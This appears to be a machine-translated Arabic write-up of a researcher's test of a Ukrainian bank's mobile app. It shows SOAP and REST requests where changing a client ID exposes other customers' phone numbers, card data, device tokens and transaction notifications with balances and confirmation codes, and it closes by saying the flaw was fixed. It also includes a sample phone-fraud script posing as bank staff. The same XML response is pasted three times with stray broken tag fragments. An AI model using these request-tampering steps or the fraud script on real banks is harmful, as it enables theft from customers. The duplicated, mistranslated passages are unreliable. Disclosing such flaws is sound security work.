في العام الماضي ، دعاني أحد البنوك الأوكرانية من TOP-10 إلى اختبار أنظمتها المصرفية عبر الإنترنت والهاتف المحمول بحثًا عن نقاط الضعف.
بادئ ذي بدء ، قررت أن أبدأ بتتبع طلبات تطبيق الهاتف المحمول. بمساعدة Fiddler (Burp أو Charles) ، بدأت في النظر في كل طلب تطبيق ، وأجري بدوره جميع العمليات المتاحة في حسابي. الخدمات المصرفية عبر الهاتف المحمول ليست محمية بواسطة تثبيت SSL ، لذلك لم يكن الأمر صعبًا.
في طلبات GET و POST ، حاولت تغيير المعلمات للحصول على ما كنت أبحث عنه ، لكن لم أفلح لفترة طويلة - حصلت على أخطاء مثل "تم رفض الوصول". ومع ذلك ، وجدت الاستعلامات التي أحتاجها.
على سبيل المثال:
1. بعد تنفيذ طلب POST على عنوان النموذج
https://api.somebank.ua:8243/services/MobileGW.MobileGWHttpsSoap11Endpoint
مع بعض المعلمات:
SOAPAction: urn:getChannels Content-Type: text/xml Content-Length: 780 Host: api.somebank.ua:8243 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0
طلب الجسم: <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ib="http://somebank.com.ua/"> <soapenv:Header> <ib:sbbSecurityToken>594d608e-XXXX-XXXX-XXXX-31a7d4ddb016</ib:sbbSecurityToken> <ib:locale>ru</ib:locale> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <wsse:UsernameToken> <wsse:Username>mobile</wsse:Username> <wsse:Password>XXXXXXXXXXXXX</wsse:Password> </wsse:UsernameToken> </wsse:Security> </soapenv:Header> <soapenv:Body> <ib:getChannels> <ib:clientId>3618336</ib:clientId> <ib:cardId>?</ib:cardId> </ib:getChannels> </soapenv:Body> </soapenv:Envelope>
استجابةً لذلك ، تلقيت الكثير من المعلومات حول عميل آخر:
<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope>
</ SBB: رمز> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope>
</ SBB: رمز> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope>
هذه هي البيانات التالية:
- رقم هاتف العميل ("رقم الهاتف") ؛
- عدد البطاقات (كل معلمة "cardId") ؛
- الأرقام المقطوعة لهذه البطاقات ("hashNum") ؛
- تاريخ التسجيل في الخدمات المصرفية عبر الإنترنت ("regDate") ؛
- على أي جهاز يستخدم التطبيق - Android أو iOS ("النظام الأساسي") ؛
- وهكذا دواليك
عند تغيير المعلمة "ib: clientId" في نص الطلب (في الرد يكون "sbb: extClientId") من 3618336 إلى أي شخص آخر ، نحصل على معلومات عن عميل آخر.
دعنا ننتقل.
2. الآن لأولئك العملاء حيث "sbb: channelId" هي "2" (القناة لتلقي إشعارات العميل: إذا 1 - SMS ، 2 - دفع) ، خذ clientId (extClientId) واستبدله في طلب GET للحصول على العنوان
https://api.somebank.com.ua/commgw/message/history?extClientId=3618336&pageNumber=1&pageSize=10
مع المعلمات التالية:
Authorization: Bearer 0e95863b-XXXX-XXXX-XXXX-71941bfb0733 Content-Type: application/json Host: api.somebank.com.ua Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0
استجابةً لذلك ، نتلقى إعلامات الدفع التي يتم إرسالها إلى هذا العميل:
[{"messageId":"3110600776643113261","messageBody":"Karta 5123-1235 operaciya -2861.83UAH 25.08.18 15:32 SHOP EPITSENTR, UA Dostupno: 28069.91UAH"}, {"messageId":"7150183459642079408","messageBody":"Karta 5123-1235 operaciya 56.8UAH 12/08 12:57 SOCAR PETROL STATIONS Dostupno: 30931.74UAH"}, {"messageId":"1688468957246607805","messageBody":"Karta 5123-1235 operaciya 814.3UAH 08/08 16:54 TOV AGP 5 Z PDV Dostupno: 30988.54UAH"}]
هنا يمكنك أن ترى:
- ما البطاقة التي كانت تعمل عليها؟
- لأي كمية
- تاريخ ووقت العملية ؛
- ما نوع العملية التي كانت عليها (الشراء من متجر ، السحب من ماكينة الصراف الآلي أو تسجيل النقدية ، تجديد البطاقة ، وما إلى ذلك) ؛
- المنفذ حيث تم تنفيذ العملية - بما في ذلك رمز التفويض اللازم لتأكيد الدفع على مواقع الدفع - LookUp و VCODE و CardVerif - المزيد حول ذلك أدناه ؛
- توازن البطاقة بعد كل عملية.
نظرًا للكم الهائل من البيانات التي يتم تلقيها واستخدام الهندسة الاجتماعية ، كان من الممكن سحب الأموال من بطاقات العملاء على مواقع الدفع.
على سبيل المثال ، سيتصل المحتال +380509876543 بالمحادثة التالية:
Karta 5111-1115 operaciya -62.08UAH 23.09.18 03:38 UBER TRIP PKGT4 HELP.UBER, NL Dostupno: 1349.88UAH Karta 5111-1115 operaciya -50.00UAH 22.09.18 19:22 TAVRIYA PLUS, UA Dostupno: 1411.96UAH Karta 5111-1115 operaciya -29.00UAH 22.09.18 10:22 MAGIC SNAIL PARK SHEVCHEN, UA Dostupno: 1461.96UAH
- مساء الخير ، موظف مراقبة SomeBank يزعجك. اكتشفنا نشاطًا مشبوهًا على بطاقتك بعد العملية الأخيرة. هل دفعت ببطاقة 5111-1115 لـ UAH 62.08؟
- ربما نعم.
- كانت هذه العملية اليوم ، 09/23/18 ، الساعة 03:38 في UBER. هل تؤكد هذه العملية؟
- آه ، نعم ، لقد كنت أنا.
- وقبل ذلك ، استقرتم في TAVRIYA PLUS مقابل 50 غريفنا. واشترى القهوة في SHEVCHENko PARK مقابل 29 غريفنا ، أليس كذلك؟
- نعم بالضبط.
- جيد لإلغاء عملية احتيالية لـ UAH 444 ، أخبرني برقم الفرع الذي صدرت به بطاقتك - فهذه ثلاثة أرقام على ظهر البطاقة ، وأيضًا ...إذا كان العميل يتردد ، فيمكنك تسمية عملياته الأخرى - باستخدام الثغرة الأمنية ، يمكنك عرض رقم غير محدود لهم.
لذلك ، كجزء من دراسة تطبيق الهاتف المحمول ، تم العثور على طرق للحصول على البيانات التالية:
- القدرة على تجاوز المصادقة الثنائية على مواقع الدفع ؛
- رقم هاتف العميل
- عدد بطاقاته ؛
- أرقام البطاقات المقطوعة ؛
- تاريخ التسجيل في الخدمات المصرفية عبر الإنترنت ؛
- الرسائل التي يتم إرسالها إلى العميل على الهاتف الذكي. تشمل المعلومات:
- ما البطاقة التي كانت تعمل عليها؟
- لأي كمية
- تاريخ ووقت المعاملة ؛
- ما نوع المعاملة التي كانت عليها (الشراء من متجر ، السحب من ماكينة الصراف الآلي أو تسجيل النقد ، تجديد البطاقة ، وما إلى ذلك) ؛
- نقطة البيع حيث تم تنفيذ هذه العملية - بما في ذلك رمز التفويض (LookUp) ؛
- توازن البطاقة بعد العملية ؛
- وأكثر من ذلك بكثير.
سأشرح خطورة الفقرة 11. نظرًا لأن بطاقات هذا البنك لا تحتوي على تأمين ثلاثي الأبعاد (عندما يتم إرسال رمز إلى العميل عبر الرسائل القصيرة التي يجب إدخالها لتأكيد العملية) ، وخدمات الدفع (على سبيل المثال ، Portmone و iPay و EasyPay وغيرها) إجراء عملية على هذه البطاقات دون التحقق إضافية. أو يطلبون رمزًا خاصًا 2FA (رمز LookUp) ، والذي يرد في تفاصيل العملية - باسم المنفذ.
وبالتالي ، يمكن للمحتالين بسهولة العثور على معلومات حول العملاء ، ولتأكيد الدفعات ، سيقومون ببساطة بالنظر إلى الرموز اللازمة في النظام المصرفي.
أود أيضًا أن أشير إلى أن الخدمة لم تمنع طلبات متعددة ، ومن خلال فرز البيانات ، كان من الممكن جمع قاعدة بيانات تحتوي على كمية كبيرة جدًا من المعلومات.
بعض الوقت بعد الإبلاغ عن نقاط الضعف ، تم إصلاحها.